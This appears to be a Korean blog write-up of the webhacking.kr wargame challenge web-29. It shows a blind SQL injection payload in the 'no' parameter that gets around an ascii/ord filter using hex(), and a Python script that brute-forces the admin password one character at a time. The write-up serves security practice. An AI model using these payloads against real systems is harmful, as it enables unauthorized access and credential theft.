반응형
처음 접근하면 로그인 창이 뜨는데 로그인 버튼을 누르면 ?no=1&id=guest&pw=guest 형태로 요청이 날아간다.
힌트나 소스코드가 존재하지 않아 일단은 no=2로 로그인을 해야겠다고 생각하였다.
no 부분에 ?no=0||no=2와 같이 입력하니 관리자 로그인 페이지에 접근됨을 확인할 수 있었다.
단순히 no=2로 로그인하는 것이 아니라, 정확히 admin의 pw를 획득해야 하므로 다시 no 파라미터를 이용하여 admin의 pw를 찾았다.
이 때 몇가지 filter가 있는데, ascii와 ord가 사용되지 않아 hex를 이용하였다.
hex를 이용하였을 때 pw의 첫번째 값을 획득하니 6이 나왔는데, 뭔가 잘못됐다는 생각이 들어 다른 방식으로 접근하였다.
바로 아래와 같이 hex 함수를 이용할 때 문자열과 문자열에 해당하는 ascii 코드를 이용하였을 때 결과가 같다는 점을 이용한 것이다.
hex('a')=hex(97)
이를 이용하여 python 코드를 작성하여 admin에 해당하는 pw를 획득하였고 이를 통해 문제를 solve하였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import requests url="https://webhacking.kr/challenge/web-29/?id=g&pw=g" flag="" for i in range(1,11): for j in range(95,123): param = "&no=0||no=2%26%26hex(substr(pw,"+str(i)+",1))=hex("+str(j)+")" response = requests.get(url+param) print(response.url) if('admin' in response.text): print("[+] flag : "+chr(j)) flag+=chr(j) break print("[-] not") print("[+]Final Flag : "+flag) | cs |
반응형
'Solve Problem > Webhacking.kr' 카테고리의 다른 글
webhacking.kr old-02 writeup (0) | 2020.04.21 |
---|---|
webhacking.kr old-28 writeup (0) | 2020.04.17 |
webhacking.kr old-50 writeup (0) | 2020.04.14 |
webhacking.kr old-51 writeup (0) | 2020.04.14 |
webhacking.kr old-52 writeup (0) | 2020.04.14 |